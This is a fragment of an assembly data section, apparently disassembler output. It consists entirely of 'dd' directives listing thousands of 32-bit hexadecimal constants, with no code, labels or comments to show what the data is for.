dd 0E57745E9h, 0A95A8464h, 5A9BBEE8h, 425039C1h, 809F6C57h
dd 1E419516h, 20530036h, 0A2994F8Bh, 93030283h, 97A71BE5h
dd 0EF6E5E5Bh, 0FC00CB39h, 88185DB5h, 53B2A5B9h, 0FA8B5632h
dd 75F090Dh, 5419FCD5h, 801ADEE3h, 0FD7098EFh, 2E572B8Dh
dd 1723E26Ah, 8321EF02h, 0BBE68Bh, 0F5913D68h, 81096447h
dd 2083338h, 2BAAEABAh, 25F8F6D2h, 35A5C8CDh, 34130F26h
dd 0E063803Ch, 76B7FF75h, 0DC45BEh, 0C4A54AE9h, 683D291Dh
dd 0C8212FF7h, 0F63B5AB3h, 90854B4Ch, 80ED9EFFh, 71BDD6AFh
dd 88E01E60h, 40F5FF6h, 0FA5BDA8Ah, 258019CCh, 0BCE513CBh
dd 5B5E506Bh, 0A095B714h, 25308A15h, 0A1E5D1BEh, 0E04B6111h
dd 774B7D03h, 4E573FBFh, 992EC460h, 2FCF12F3h, 606BBF49h
dd 97001A23h, 0F5D0F9B6h, 23F30B30h, 0A2A2DDBDh, 0C240E1FFh
dd 9C972679h, 2EAB4598h, 0BADE8C29h, 1F865C0Dh, 36BD6F76h
dd 23A0D900h, 0CB01D597h, 0AB911A5Ah, 1FDC2B16h, 49060093h
dd 0F7E0D5E4h, 3AE7FD25h, 5B85E3A8h, 1C6EEB60h, 12ACC600h
dd 5054464Fh, 1D2B172Ch, 78557889h, 7AB79FC6h, 0C4EE3E00h
dd 0B555BF66h, 71B7C0F0h, 0F9D68011h, 0F6C979B0h, 31C1120Eh
dd 7624D38Dh, 0E025B9B9h, 7383DDFh, 20B582CFh, 0FC6A6593h
dd 12AE7750h, 0E1636089h, 0B063500h, 890F0A74h, 6EBE15E1h
dd 1923F8h, 0A5D3EA1Dh, 84BD22B3h, 6E9027Ah, 80F2DBD2h
dd 0C20EBBFCh, 902F3B8Eh, 20C14303h, 518A5061h, 5F9CE279h
dd 516F9053h, 94772000h, 4C7DE24Ah, 5CBF1412h, 644D0F01h
dd 0DE7B63F9h, 52BE9339h, 85F2A0h, 5A293D1h, 2449B2Eh
dd 52E7A109h, 0F17598B0h, 0E60B4B00h, 0E38088D1h, 0B81A7075h
dd 7BD40045h, 3A2B10C9h, 8B695835h, 1E625483h, 51862865h
dd 0ED60515Fh, 11E828DFh, 0A2BE0026h, 2CA78A82h, 0EB00C332h
dd 58D5CC7Ah, 0B9090F23h, 972F8002h, 6BC56701h, 16078600h
dd 0B7A50F6Fh, 0D75E3BEBh, 61581D0Eh, 0C46EBF57h, 1C955300h
dd 62483482h, 76BBB417h, 1F58A04h, 9C1EDADh, 341FFD8Dh
dd 1448E24h, 7B4DBDF5h, 0D8601964h, 3507A43Ah, 9D2907A2h
dd 6084401Bh, 0BED00081h, 6165E071h, 79CB72E9h, 5BC64157h
dd 0C86B9A7Ah, 80E7C215h, 0CAF588E2h, 2F0E5EF6h, 0E60594Fh
dd 4B778867h, 1BCC09ECh, 1BB12D3h, 1991BFFBh, 322F514Eh
dd 2561F5FAh, 39B2151Ah, 0CEE99200h, 0A121DD32h, 0BE470F00h
dd 0B723803Eh, 0D4857101h, 62DBB41h, 0C100FBB7h, 2AD3211Fh
dd 994A4E83h, 1EA46F0Ah, 96042646h, 1561204h, 5FD1DF7Ah
dd 7A66EA5Bh, 7326D904h, 0B0BC339Ch, 0C0F8DE5Eh, 400CDABEh
dd 445E1C86h, 0AF5412A2h, 1096C8h, 0E6F87481h, 0FB7C8FB9h
dd 28688707h, 0BFE09D65h, 0B54A2D15h, 0D71FB6F2h, 0DD258266h
dd 0A4BF7990h, 7A483A17h, 6EDD2EA9h, 0ABD9128Ch, 0CA04D66Fh
dd 99331021h, 802138A4h, 689D9265h, 629000A1h, 1DE411ECh
dd 62E0809h, 0C22D8920h, 95897067h, 9EF4AB7Ch, 2CC4C059h
dd 0C902BFB9h, 0B3464391h, 2C3CF5E6h, 9D4F496h, 94F673C0h
dd 477D7300h, 0FC975BBCh, 0BC21644Fh, 1A6D85B1h, 0A52C3BEAh
dd 820F0C05h, 260BF625h, 80927B11h, 424D3A13h, 0CE007C54h
dd 0EA88A4EFh, 8809E910h, 0F10F28DEh, 44B408D7h, 8DBCFDB1h
dd 9A7B3A3h, 0DE745Ch, 1EB6A26Ah, 0CE13CB1Dh, 29465358h
dd 7F62F75Bh, 7A4F7703h, 5D8C5B40h, 0F3D2029Ah, 14E97DDEh
dd 2AE11B20h, 0FEDC5EF9h, 789D1640h, 458BD27h, 0FB118D7Bh
dd 18B7BB1Ah, 411B4FF0h, 0D4EAA417h, 0BE4A4CECh, 4426D869h
dd 755AE6B0h, 8132613Ah, 49963B13h, 1FCD8531h, 0C84BDB2Bh
dd 0BD84C018h, 30F719A7h, 154AC7ACh, 0D80ECDECh, 81C050C2h
dd 35A5D6EFh, 0A4056B4Ah, 70EA5317h, 364ADB3Dh, 563BEC95h
dd 1BE280F9h, 368EB30h, 8C36E16Fh, 9A12BC2Eh, 1EF33771h
dd 9ADFFC25h, 3DE27F7Bh, 98EABD56h, 0EF4B1D11h, 7C8C8125h
dd 1D6300DFh, 3DC193FEh, 573B4B30h, 4CA80124h, 43F36D51h
dd 0EFDA122Eh, 7380629Eh, 944ADE36h, 0C69A1F25h, 0F78102D5h
dd 2D74FF29h, 2D9ECCD7h, 855EDFB7h, 89E804F4h, 0EB1C1DBDh
dd 434AD5B7h, 0BC33F5C7h, 0E1A83CF8h, 1480B913h, 23106BAFh
dd 0E3E11614h, 79E658AAh, 0B82E2441h, 16BE9244h, 0C828EB1Bh
dd 4F470496h, 0B8D0F7A5h, 95310CD1h, 915393B1h, 3CDD81F8h
dd 7A4D70DEh, 5F8913F7h, 114D3877h, 0E270821Bh, 70689495h
dd 0E4F39549h, 0F8D205D0h, 0AB304C26h, 0A097BC4Bh, 16C87Fh
dd 2F59DD9Ah, 0F4EF5E33h, 0C6F10900h, 3984D245h, 961825DCh
dd 0E18F8E40h, 0F94F56ECh, 0BD5B1FACh, 97FAF8B1h, 4D7D4F29h
dd 4323E747h, 4BB839B5h, 0E82807F8h, 1D4AA231h, 8984ECE2h
dd 59564908h, 0F05BA581h, 6C5ABF00h, 0D3892C81h, 0F94C565Ah
dd 8D01A04Fh, 0E2054AA9h, 0F0EDD7CFh, 394EE3A8h, 5CDCC0C8h
dd 6980A787h, 1F3BBA93h, 0BE18FB00h, 3AAA6B09h, 0F789F9Eh
dd 5F5B0640h, 313FD3C6h, 0F529B8D4h, 21E7C6AEh, 7CB8E927h
dd 4E56257Dh, 3D0FEDCh, 75F652A5h, 1D5A0FE9h, 6A354EEAh
dd 0BAD76380h, 0A404AE77h, 0C18BB2D9h, 3AC91B9Bh, 91D8B55Fh
dd 89EB9719h, 4B6D5133h, 489E3AA1h, 3AB306C6h, 16E0A18Dh
dd 3053CF47h, 342AAEBh, 1F4ABD9Dh, 3FD3C490h, 5FCD95E9h
dd 26D0F4E1h, 4C176CCh, 6DBD8B8Ah, 8BF2EB21h, 3B55202h
dd 7C78615Bh, 7B8FF30Eh, 9EA9F350h, 774A0BB8h, 5AEFCEB0h
dd 6AA5B10Fh, 1DFD7FECh, 4AC07ADAh, 0C4C56DFBh, 0BE0D6952h
dd 4EB042A7h, 11CF851h, 0DFE5399Dh, 42B57B7h, 5F31A7BBh
dd 1C12CCB5h, 68630860h, 6A1D02F7h, 0B3DE9184h, 1B165D54h
dd 0E6D3F1ACh, 0F5EBA5AEh, 2A6E2191h, 6A8119D5h, 0F83EC4D2h
dd 55FDF4D3h, 7D0BA0B8h, 80B9D8B2h, 0DA8ADEC5h, 6F02486Ah
dd 500F407Dh, 9057F6F7h, 950E6981h, 0D36962F9h, 60AB505Ch
dd 36CC801Ch, 6199C4C1h, 382E29E9h, 3F41DDA3h, 145DFD8h
dd 0B3626A1h, 2E2A959Dh, 88088628h, 9801489Ah, 0ADB964B7h
dd 842C90E4h, 7510D381h, 3A87E0AFh, 0BDB1C905h, 0D0EF20F2h
dd 4AB8FB54h, 571E0712h, 419BBB12h, 8CE2B380h, 0D312603Ah
dd 82E6ACFBh, 7DCCF925h, 0E9781498h, 95008282h, 75FB752Fh
dd 1435372h, 0A82AD6C2h, 954760EFh, 4F1C6132h, 0E9EB82FFh
dd 5DB5211Fh, 0F2AA051Dh, 2DBE4A0Eh, 0A422AF78h, 0D1ABB0E4h
dd 3870E6BCh, 0FE78027h, 0FC746AADh, 0DE106623h, 5258471h
dd 9188792Ah, 8F205A06h, 2ABE9Bh, 3478F440h, 0AA4322EEh
dd 95BA7E6h, 0C8AE0725h, 0E404D86h, 6BA25F9h, 0F7F31738h
dd 44EEBE0Bh, 806F0132h, 112EE8CFh, 3F005850h, 36A33BEEh
dd 2025698Eh, 5059C0C1h, 0C82B2F5Fh, 0CB39718h, 85EC95h
dd 0FEB9C752h, 0F847F917h, 74B84300h, 300698C1h, 0E99239FAh
dd 0A0D72D6Bh, 4C5085B0h, 12476455h, 0D6FAC6FAh, 4B848852h
dd 7841DCECh, 17AD8630h, 0E06145FDh, 0F1BD2037h, 0DDBD84D2h
dd 8716632Fh, 3B18808h, 1A409822h, 4A4851E9h, 0DE99092Bh
dd 0F62D6973h, 4E76F233h, 79315F25h, 6C35A51Eh, 0E00CBD61h
dd 8224EF68h, 802105AFh, 2137BF84h, 0FF8461B9h, 0CB7AEBB8h
dd 562A1C00h, 0E37C5733h, 5F745E48h, 979D30FCh, 353002F9h
dd 0CBA26AA7h, 5457F5FAh, 0F7B6D452h, 695055C9h, 0B7E78016h
dd 480630EBh, 9A008B2Dh
dd 867350B0h, 477345Fh, 15B993F8h, 1341E410h, 57A7098Ah
dd 5380B0F3h, 0EF34373Fh, 0A8D24EAh, 9A62A5BFh, 70B1DB75h
dd 0C47D66FBh, 8F95DC04h, 99CCFC18h, 41120076h, 23A6FBFDh
dd 5C15C37Dh, 0B8378058h, 9E5AC11Ah, 0FD74CD75h, 0A9CC4139h
dd 0E39D3A1Ch, 5A95D930h, 5034B62Dh, 2BF59017h, 57261920h
dd 0D1010059h, 0B3A39FAh, 9D272B68h, 5F46405Dh, 0F51FA1BAh
dd 60C83D2Eh, 24B74938h, 0F2EB8B05h, 1CC14B33h, 0E67B4639h
dd 0B015B28Ch, 0C49D5E80h, 0B92245F2h, 8CAAD3AEh, 0BD209DE7h
dd 8895952Eh, 0F3F78180h, 9E6584A4h, 6B65250Dh, 5B38931Ch
dd 24356EEEh, 351ADB7Ah, 0D48856ADh, 0F1001C46h, 20A56E9Fh
dd 0BD287DEDh, 112E8B26h, 18427E1Ah, 0D6955C86h, 8A4F1C46h
dd 128248F8h, 97E20921h, 1C4EEB5Ah, 2701C423h, 7CE29DB8h
dd 9C75262Ch, 0D1762D28h, 0DC437CD2h, 19E7AE01h, 6D9F46D8h
dd 1ED5202Ah, 3E016C0Bh, 3E7C8A6h, 21D8D9C0h, 31F20914h
dd 737CE047h, 0F7E38160h, 5945E608h, 0CA4A3A5Bh, 5EF93AEBh
dd 6C00AB7Ah, 9E26FA9Ch, 3F155E83h, 583368h, 7BDA482h
dd 8C9817h, 65169DC8h, 7C5A27BFh, 5F799412h, 0C2BA2813h
dd 3C5C6066h, 893F02DCh, 2D6B5A14h, 0BFECA2D5h, 2CC45CF9h
dd 35590B56h, 3364DF56h, 0D8FA5752h, 2B99812Bh, 0CD046012h
dd 0F81313A9h, 66CD4A8Dh, 0E1FDC230h, 58409002h, 5B9CAB11h
dd 5E57A509h, 78B7DE36h, 6F6A5EC4h, 0B065007Fh, 0C02E28B5h
dd 0BD50E81Ah, 766F18F1h, 550089B2h, 0D56CD88Fh, 18082F78h
dd 8105E9C2h, 4A351AAh, 2BB23BBEh, 52505309h, 0DD2578F1h
dd 0EC7741ABh, 0BA5E9F53h, 5E310F42h, 5EFC408Bh, 0FD097A62h
dd 54145F26h, 8BB839E6h, 279EB058h, 46D6627Eh, 61F1001Ch
dd 54B67856h, 0A7E0240h, 197D8D89h, 3262EBA9h, 256BCE77h
dd 0F7837B3h, 0D0E75B97h, 5E250C38h, 0F409C232h, 919AF659h
dd 0A016B520h, 9726B030h, 15910C35h, 814D4585h, 0DE23CF6Dh
dd 572D085Ch, 9C2E6C30h, 5C1FFC7Ch, 3A857976h, 0DBC1BC29h
dd 0DDE1E204h, 81B5F83Fh, 1EB99509h, 0F3815B00h, 0BCECC409h
dd 932A7162h, 87D4FB29h, 0BD6980AFh, 27871925h, 345086DBh
dd 887A001Fh, 0EA88390h, 0BB0EBD75h, 7284ED17h, 73D19E1h
dd 0AD019BB8h, 29BBED7Eh, 0FC3E64B3h, 64968961h, 92DE9560h
dd 202B5079h, 2F7B02B8h, 30314500h, 0D7E4237Fh, 82320085h
dd 964F1D7Ah, 0D409EB81h, 8236A124h, 57D2BC30h, 0CE524953h
dd 9F8C7C40h, 2908F146h, 1B2DBDh, 230CB568h, 0A4BB779h
dd 0F4A5280h, 6E3FF33Ch, 0A6F60058h, 75608CB0h, 8D9E257Fh
dd 58FE4AD6h, 7110E003h, 42502702h, 9D12D090h, 0AD014FB7h
dd 7539DF43h, 4B0D0230h, 2631C914h, 5F8B2D41h, 0CD61FEA4h
dd 0E8B06F80h, 0BA303846h, 0FEA7FC87h, 133B20F5h, 0BE12833Eh
dd 99E22742h, 5FF852C2h, 2D518056h, 0F98B2183h, 0F7D41E9h
dd 53178727h, 0DD398015h, 1F48A7B6h, 868D2E00h, 0BFD3E941h
dd 14710907h, 0D2045B53h, 0C8E15603h, 0E9F9CE2Ah, 9C86A3Bh
dd 846EEA86h, 0FBB08494h, 0F6C7957Dh, 815DBB98h, 29487FDBh
dd 62C85730h, 0A52F03A8h, 62F717D1h, 0EECCBF02h, 0F35675C7h
dd 0DCB577DAh, 76EE0038h, 4F90840Bh, 7980C4F8h, 0B5F1AC19h
dd 0AFD7E09Ah, 0F99EEC90h, 259400A8h, 0B9666096h, 0CCB5FD64h
dd 61F9098Ch, 0D95D9650h, 0FB9D9309h, 0DAABAD85h, 9DD9D298h
dd 0CC1CA541h, 23F1568Bh, 64E9585Ch, 6679004Ah, 9DF7E8FAh
dd 0E20AC83Bh, 0B999EA43h, 0F6C174A5h, 8284EF38h, 0A494197Bh
dd 4CE0FD9Fh, 0DB9F3165h, 9D1D09Ch, 4E1544Ch, 953134B2h
dd 5AC6F8AAh, 1F47FBAh, 14AFCD3Eh, 0B27FCC10h, 2ED3A8DAh
dd 40A7F2Bh, 0BE1C4FE7h, 0C3024FE3h, 0D88A56Fh, 0B72D775Ch
dd 0F4D7003Fh, 7FB5B131h, 3EF50951h, 0BF92A9ECh, 74AB7A34h
dd 0C0D9DA57h, 70B35397h, 0D60161C8h, 0BFB4ECF7h, 102E0B0Ah
dd 0CE0B7F31h, 29E4CE56h, 61BDF3EAh, 0CE2FD732h, 20CDC23Eh
dd 70F8C557h, 82010E1Fh, 398DB3BEh, 609AA3ABh, 0B6D893C9h
dd 6084CF95h, 7E7F151Fh, 3E80CF2Eh, 0A1B392C0h, 1C7E469h
dd 76FCDB5Eh, 0C0304CD9h, 0DE9F31D2h, 0B59D0E80h, 0C3772C13h
dd 1B478716h, 1C919804h, 0F032DDEFh, 0F5A15BDh, 2C8857E3h
dd 0CCEE89A8h, 0B3546C4h, 6D19500Bh, 0B024D841h, 5D12FA00h
dd 13C2E4F0h, 0F5019F97h, 0C65B3CD8h, 90556A2h, 1911CCBDh
dd 0CEB97780h, 0A34B65C2h, 152B868Ch, 330B89BDh, 0D397A992h
dd 1D095A6Bh, 6771A135h, 0F6095B47h, 0B216F4AFh, 11C4357Fh
dd 0E6D782ADh, 0DC1EA14Bh, 8A46BD41h, 95218674h, 572E9664h
dd 203ECD52h, 5B5F2512h, 0D5A071C5h, 0E9895162h, 25715CB7h
dd 0B570EEDBh, 26032D4Dh, 2906AD5Ch, 0C47F6985h, 0B961D7F4h
dd 0B8A2D14Ah, 0BF3A0143h, 79663937h, 7824090h, 3EED5081h
dd 7FECA2h, 56168C9Eh, 93A20957h, 81E68500h, 0AD47FCD3h
dd 6A5B2573h, 0F2B75Fh, 0A70A2B80h, 60DBBACh, 4A72B5A2h
dd 0C274EFF0h, 0E94F4DE6h, 72A55B7Fh, 0DD69BD56h, 6B290AE1h
dd 0EC2A1DA1h, 0B31BFC98h, 0C5DB2552h, 19C04A5h, 0CB01BA13h
dd 310F5F57h, 0C23C243Bh, 59DD7241h, 0F7F8A5ACh, 4EDC515Ch
dd 4A5470FEh, 9000DAEAh, 9EA1EEC5h, 2BA49A4h, 7F6A66E9h
dd 1761A0BDh, 0B8336990h, 9E360533h, 0E06AC853h, 0D54F5907h
dd 8209C0A0h, 56551A62h, 0DB6A162Dh, 0E296C08Bh, 0BBA55D1h
dd 0F3213FEDh, 0F48EDCh, 35EDA838h, 91656871h, 9BECD5Ah
dd 0A9715BA0h, 97A26092h, 0FC823D3Bh, 9CAC985h, 614E0046h
dd 18AC7EFDh, 53BD048Ch, 0A8EEB391h, 0E8B0438h, 6EBED1FFh
dd 69F90F13h, 7553C129h, 282E8460h, 28B4A93h, 40D3EB6Eh
dd 86D8026Ah, 307D24A2h, 255F5B22h, 0B7770489h, 38020433h
dd 205BBCABh, 2C297606h, 53E61609h, 0AAE98012h, 57847AE3h
dd 8308174Fh, 21BF0132h, 2F2CA11Fh, 858050DBh, 268E3D5Fh
dd 0C1D82A02h, 55BF0F94h, 0CAB5416Ch, 2837FF31h, 0A2ADF700h
dd 9E0B84CFh, 0A95E49EFh, 2CBE1A13h, 0C5585DFEh, 86D94AE2h
dd 0AC91C47Ah, 7DB95E7Ch, 10BE0E8h, 0FF896E9Ah, 2B564011h
dd 41C9E39Ch, 26B17B21h, 84B8A739h, 27DC70BFh, 97CF2BF1h
dd 901BB443h, 635B32h, 0BFD54A79h, 116FC478h, 0BDC23397h
dd 0D836A020h, 0B079300Ch, 4621550Eh, 70E61C12h, 42E2E730h
dd 93160563h, 0E871E4B9h, 0BDD74A53h, 0DF4B865Ah, 0F05D5892h
dd 0DFBF2D3Ah, 0FB2B195Fh, 0B93FA128h, 0EF5BB858h, 46AA2C24h
dd 66FDBBF7h, 0D5E2F725h, 2FED48B0h, 9E405582h, 1B4241BDh
dd 0DCCB8003h, 315090E9h, 164EA122h, 50B330FBh, 81268FEh
dd 0C5BA923Fh, 496B811Ah, 9744C14Eh, 25EB2956h, 9EC3AB62h
dd 0B10C70EAh, 31A983D5h, 97A3942Ch, 0F4E457D1h, 0F84F8B62h
dd 0DDC4ABEh, 1C2C6E8Eh, 0B788408Bh, 951A9738h, 2B12AE5Ch
dd 292285E6h, 0F0988C80h, 0F8893297h, 0BF0E403Bh, 3486DC3Bh
dd 68124A1Ah, 97D9C0D8h, 0C9149030h, 5E9D0380h, 0EF16C43Dh
dd 0A29ABC20h, 0D97A0E06h, 5E60C838h, 0A6A076B5h, 8CE38A05h
dd 84FB96A5h, 0A03DB75Ah, 3168312Dh, 45B68825h, 0C7882B03h
dd 9AB64B5Eh, 0C01AC8A6h, 0DA024854h, 0BD85B817h, 825E6C2h
dd 121089Fh, 10C3B904h, 2AE964A9h, 638720FAh, 7877D84Bh
dd 9429DE3Ch, 80EB2E05h
dd 0C2A2BBFCh, 0E64B4A97h, 10FDF34Fh, 4F150DC6h, 0A5A2C612h
dd 4CD38101h, 2E32C851h, 6DAB5A24h, 656A3F21h, 0B2B87B16h
dd 55F31D35h, 47740683h, 2C4980Dh, 0C8543E7Eh, 0C0371B0Fh
dd 0AA0C597Fh, 626520D8h, 884F4A7Ah, 66B03EB7h, 91269CD9h
dd 7D150D26h, 133049E4h, 65C47BC6h, 0A09EA7FFh, 92C18A9h
dd 0F6DDF9ADh, 0DF1756DCh, 0A607C8Dh, 94E11245h, 6AC2E128h
dd 49E83CBDh, 34505B04h, 0B8AA9406h, 0DBCA4A22h, 79B260C3h
dd 614E9E7Ch, 92E15EA6h, 0F6282E61h, 284FB578h, 0FFE8A964h
dd 3BA19580h, 0FE02CFBCh, 16C14A6Dh, 2AF355B1h, 25FE42F0h
dd 0F1CE676Ah, 4012CDB5h, 0FF084E8Ch, 8AB7E112h, 749DDBE2h
dd 4633C251h, 0EF51D85Ch, 6B7B7Bh, 0BD9CA592h, 4B2349CFh
dd 22B38A4Eh, 0DD8A1389h, 295D0B60h, 58583DA9h, 0CD781AB3h
dd 5DEF01FDh, 18B1EA8Bh, 2DA620A4h, 0D22A2741h, 0E5251043h
dd 3B0856C0h, 5E7F0035h, 0DED69E83h, 932D476Ah, 2BBCE1D8h
dd 955C5B02h, 0DF254EAEh, 833EA4B7h, 5BA0A118h, 2562BEF9h
dd 0F34E01C1h, 2DE98983h, 87243A32h, 0B8B68F52h, 3A2FBC4Fh
dd 1E649FAh, 0C71751BBh, 9B3E6A0Ch, 365EC0DCh, 407D993h
dd 2BADB633h, 147F8F8h, 61D86867h, 32A3249h, 56622784h
dd 6BAA30BDh, 89009E6Ch, 0A754EB45h, 20E1B86h, 0FCAF6546h
dd 605C5FCAh, 31546D6h, 9501C586h, 0F84725FDh, 909554C6h
dd 1DA86E2h, 0BD32EE44h, 64CFC135h, 730541C4h, 1E8E95Bh
dd 97DBE5C8h, 3DD74A09h, 0D73D85C2h, 0DA0B82E4h, 624455Ch
dd 62F10BFCh, 9A554283h, 0C6F15D5Ah, 6CF8600Ch, 38F3BDD1h
dd 2D9EAF28h, 2EBF5080h, 4B0DF4DCh, 2F388D5Fh, 891667F3h
dd 8B2EB906h, 13E25F9Dh, 802FBDD5h, 41274C56h, 0D909D2B8h
dd 54301120h, 57506198h, 84A2E8BBh, 7FAD174Eh, 599D2B0Dh
dd 0ED122AE5h, 83939EEAh, 0E8F47C3Ah, 39C52750h, 0BD0B992Bh
dd 9CDF0B15h, 865E97B3h, 0FA777B8Eh, 13107555h, 0E9002FEFh
dd 0C85C1381h, 5809CDh, 0C004DD27h, 0E35F8B90h, 521C58B8h
dd 5122880Fh, 526ABF5Bh, 0FCDD240Bh, 20C8296h, 0D16140F6h
dd 3D0700F3h, 0A9A7CDA6h, 33275250h, 4837F713h, 77AC2100h
dd 3AFC6280h, 2D4C998Fh, 0B91E7516h, 13A2D47Dh, 32FF0B55h
dd 0B7108A0Ch, 0D65A8369h, 50C9D2FDh, 0DD2FC5F9h, 904F2A18h
dd 9CDB8100h, 0BB3D77ECh, 822E2F06h, 392BC50h, 0E7BB6D9Fh
dd 2A680066h, 2B90B84Ah, 0FC816170h, 95E6E6D6h, 0BBA7DBh
dd 937DF387h, 16DCC54Eh, 0EE4D4C64h, 0FC25C5CBh, 0DB2D43CDh
dd 87D67073h, 0B7881404h, 25ABF9A4h, 9C02BAB1h, 5561F5C0h
dd 467C8B6Dh, 2921001Dh, 0E5E19C09h, 0C06A1EF1h, 49854B06h
dd 514192EAh, 0C99E6A0Eh, 1AE8A780h, 14978440h, 449206Ch
dd 4E955895h, 0F6D7FC12h, 726D9F27h, 18601A64h, 6C0913D1h
dd 186DC286h, 2BEA892h, 96847119h, 905C8E8Ch, 42F38061h
dd 4A858230h, 0F28CB601h, 4C983015h, 5DBD0B09h, 9F93730Eh
dd 1A2B278Bh, 902D247Ch, 0F45EBA1Fh, 1A550031h, 8F768AABh
dd 0BB00E5F3h, 0C81B7861h, 0BC5BF98Bh, 6021C753h, 0C4231FF3h
dd 6A85834Fh, 0BF1288BAh, 0D8DEC20Bh, 53EF757Ch, 41ECB2E0h
dd 92220017h, 0CE757984h, 9D25BD29h, 9F94CE19h, 0CC013CB7h
dd 0A4F1B7FBh, 44E844F0h, 74F4E70Bh, 797BE1F0h, 85388C09h
dd 812C023Dh, 0EF5F0431h, 1FA21BCAh, 0BF25D058h, 0BDB9C6DEh
dd 0FC9751E4h, 57B378F8h, 2C20FB9Dh, 32093E7Dh, 0E1E20D76h
dd 25B914D5h, 0F6598D0Fh, 5E34574Bh, 9BF7A617h, 7FB1A912h
dd 5D50C560h, 8BBC1820h, 0B2875400h, 502A6ECAh, 516D05EDh
dd 0BBB99589h, 0F92EF9F1h, 8469A92Ah, 48294E81h, 4AF76CC1h
dd 0B2B71CDh, 0F863FF69h, 0CFF97DF8h, 0DAEC455Eh, 48A402AAh
dd 0DF61DDF2h, 0E2FFA4C2h, 1BB55523h, 0C1801891h, 0ABEB52B8h
dd 1E05BB75h, 6050259Ah, 0D93B20EEh, 0DB0495D0h, 5282F18Dh
dd 218079B8h, 0A47ED2E7h, 0C307A900h, 0FB9D37EEh, 2FE12E06h
dd 0A47E2766h, 11D38180h, 8C283B6Dh, 218DCCC5h, 4AA88BAFh
dd 54A85FB9h, 12D6BA02h, 0DCCB83E1h, 4A7C6BFCh, 9E8ECB3Bh
dd 0FDC2E179h, 6E8308B7h, 0BC977508h, 84F1EDAFh, 0E61A2D4Dh
dd 96947156h, 0EAD4AAFh, 92DFC825h, 42C65E65h, 0F975AB67h
dd 966142DCh, 18DCB956h, 962A5360h, 77970699h, 0F14ADE94h
dd 1A010B8h, 109F5195h, 95246DD5h, 78A74C73h, 1E155634h
dd 0AFF98A13h, 71933BDAh, 2396E23Eh, 7D00039h, 356F1C70h
dd 8B88007Bh, 0B6081977h, 134B61A4h, 5F35F68Ah, 199BFB38h
dd 0ABE93FC5h, 0C980842Ah, 359D0308h, 0F1283241h, 0BB86844Fh
dd 0B74E1BE6h, 640309A7h, 0C1FA71C5h, 1205ADBDh, 25DB2945h
dd 1051BD0Eh, 0E2C14A76h, 2DE95AB6h, 5D8D8FC0h, 81040C51h
dd 29782F58h, 0F43F1DE1h, 539D5FCEh, 181459F6h, 9118B7D2h
dd 5D00886Dh, 5A79D3FEh, 1266D91Eh, 0B4CE14BBh, 8B3B521Ah
dd 0FC6AA5D8h, 10EDEAFh, 0E2BF685Bh, 92144F3h, 6AB7617Fh
dd 0C00DDB3Bh, 5C16E28Dh, 2805E67Dh, 128E3B1Ah, 0AEE95F43h
dd 0ADE532F3h, 12B580ADh, 26A4EDEh, 29728517h, 0C55D870Fh
dd 91B100E5h, 297AF661h, 0BEBCFC09h, 0F3DC0C5h, 27286982h
dd 0B9F4ABC4h, 59ACA300h, 96864838h, 0AB2C02EEh, 0E19131D4h
dd 0CA40B4D6h, 65B9ECh, 744A3E28h, 25605CABh, 3EBEF05Eh
dd 9A172B83h, 4FE9F507h, 0BACBE1AFh, 442E3666h, 0FE9E6122h
dd 4017245h, 90F1CE25h, 0A927ED2Ah, 26D71Ch, 0B9A0C34h
dd 8E35E808h, 642F7C95h, 55A2AB83h, 0FF2E8801h, 84FE8BD1h
dd 44C3DBA0h, 0D219E6ABh, 9EA0DBB6h, 410049BDh, 0F7C781CAh
dd 2718D40Bh, 756D026Ah, 0A45AF8C3h, 36C0A081h, 0B2C1882Ah
dd 41CF7EAh, 0F2492692h, 8AD2403Bh, 8CF3B7DDh, 3CCF7725h
dd 85291640h, 0BE0B4A3Dh, 0CC5D106Eh, 9D4FAC93h, 9ABAF02h
dd 79E1C0BEh, 38B7801Bh, 1C97E977h, 5F4D20F6h, 757A1993h
dd 62960071h, 0B081BE9Bh, 6A3FFD1Dh, 1BA86BFDh, 0C180099Bh
dd 0F299FF4Fh, 0E4D95884h, 0D6D0F84Fh, 844B1FAEh, 0F0614728h
dd 0DA5D8BBCh, 9DB51C2Ch, 0B44A4FFEh, 4BDEF190h, 0FB35C43Bh
dd 2901D77Eh, 2FC08973h, 0BFFDAB0h, 525A566Dh, 962555Ch
dd 7DA1F28Dh, 4F9DEA6Ah, 3549C8A5h, 31D7065Fh, 28AE0D64h
dd 638A0CB0h, 571EAA66h, 0BFD8B018h, 8A359902h, 5570E637h
dd 8D3469CCh, 93AB31D5h, 573B293Bh, 214A7F0Bh, 0D827B9E3h
dd 0C10AB264h, 2833DB0Bh, 12FA2945h, 1908E3F4h, 1158F9B7h
dd 9F3CF92Ah, 0D909A956h, 170378FCh, 4B41BD29h, 12DF3300h
dd 120B5C1Fh, 8026E889h, 8BFCC82Bh, 0F7525CD1h, 5FA90133h
dd 227579AFh, 0A680E9DFh, 12D90D4Ch, 0BEA1BD23h, 9AA16D5h
dd 0C8575088h, 861FE12Ah, 4E3D6095h, 8FCE95C4h, 19CD7AC6h
dd 604A446Dh, 5BBA6600h, 0E27EBFFBh, 612525FAh, 0C190FAC6h
dd 5EE69625h, 92D75A10h, 5AF37011h, 9FEAB201h, 19E19544h
dd 0E7611024h, 2585C52Ah, 0FBCCFA8Ah, 0B0D9D720h, 9CDE959Eh
dd 0A1F15DE9h, 18E90614h, 0C9AA955Ah, 1A7E9D1Fh, 5FB5A8CCh
dd 80A9E923h, 3A8465ADh, 549598A8h, 165FA3CDh, 0E71037B9h
dd 6306A055h, 13EB0BBAh, 125703EEh, 9D604D9h, 7BFCE121h
dd 2C00356Eh, 53EA9DB4h, 6F016694h, 2277A9BBh, 4773FC06h
dd 54ED300h, 7BEAF502h
dd 0DC89770Eh, 61E913B8h, 3331CDECh, 29DC8F4h, 4AECE32Ah
dd 88024DAh, 68CF565Eh, 0F80DA300h, 8A0FFA69h, 0E227D21Ah
dd 2AC700F1h, 61AA80EFh, 0C05B0159h, 3497ACC1h, 46D0D78Fh
dd 547DB706h, 9120BF97h, 0D69F8319h, 1586D02Dh, 91BB01BFh
dd 8C0F0977h, 4829AC02h, 0A011C425h, 9D2B6D33h, 1579815Bh
dd 0AD4ADB18h, 271A2C1h, 0BCE66Bh, 0F0ACCC43h, 1C72C27Dh
dd 0FC6D90h, 0D0A1282Eh, 612F21CDh, 958B7851h, 4575F99Ah
dd 0C675CB96h, 4F51098Bh, 9E4D6545h, 0F4FC21C0h, 4C8204C4h
dd 0C0A7BBB3h, 0BEEE8138h, 0C80A2661h, 0D830C0FEh, 8AFF4BBFh
